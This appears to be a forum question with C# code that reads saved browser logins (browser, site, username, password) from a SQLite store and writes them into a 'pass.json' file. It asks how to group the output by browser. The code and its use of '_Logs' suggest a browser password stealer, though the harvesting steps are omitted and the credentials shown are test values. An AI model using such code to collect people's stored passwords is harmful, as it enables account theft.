public class BaseAccount
{
   [JsonProperty("Browser")]
   public string BrowserName { get; set; }
   [JsonProperty("Link")]
   public string Url { get; set; }
   [JsonProperty("Login")]
   public string User { get; set; }
   [JsonProperty("Password")]
   public string Pass { get; set; }
}

private static HashSet<BaseAccount> _Logs = new HashSet<BaseAccount>();
public static void Inizialize()
{
   // большой кусок кода
    using (SQLiteDataReader reader = ComText.ExecuteReader())
    {
        while (reader.Read())
        {
            _Logs.Add(new BaseAccount
             {
               BrowserName = Name,
               Url = reader,
               User = reader,
               Pass = Pass
             });
        }
    }
   // Записываю в файл:
   foreach (BaseAccount ss in _Logs)
   {
       File.AppendAllText("pass.json", JsonConvert.SerializeObject(ss, Formatting.Indented));
   }
}

{
  "Browser": "Opera",
  "Link": "https://account.mail.ru/login/",
  "Login": "MyRecovery",
  "Password": "Test"
}{
  "Browser": "Opera",
  "Link": "https://passport.yandex.ru/restoration/changepassword",
  "Login": "MyRecovery",
  "Password": "Test"
}{
  "Browser": "Opera",
  "Link": "https://e.mail.ru/messages/inbox/",
  "Login": "MyRecovery",
  "Password": "Test"
}

{
  "browsers": {
    "chrome": [
      {
        "site": "http://google.ru",
        "login": "test",
        "password": "test"
      },
      {
        "site": "http://vk.ru",
        "login": "test",
        "password": "test"
      }
    ],
    "citrio": [
      {
        "site": "http://google.ru",
        "login": "test",
        "password": "test"
      }
    ],
    "opera": [
      {
        "site": "http://mail.ru",
        "login": "test",
        "password": "test"
      }
    ]
  }
}

var serialized = JsonConvert.SerializeObject(_Logs, Newtonsoft.Json.Formatting.Indented);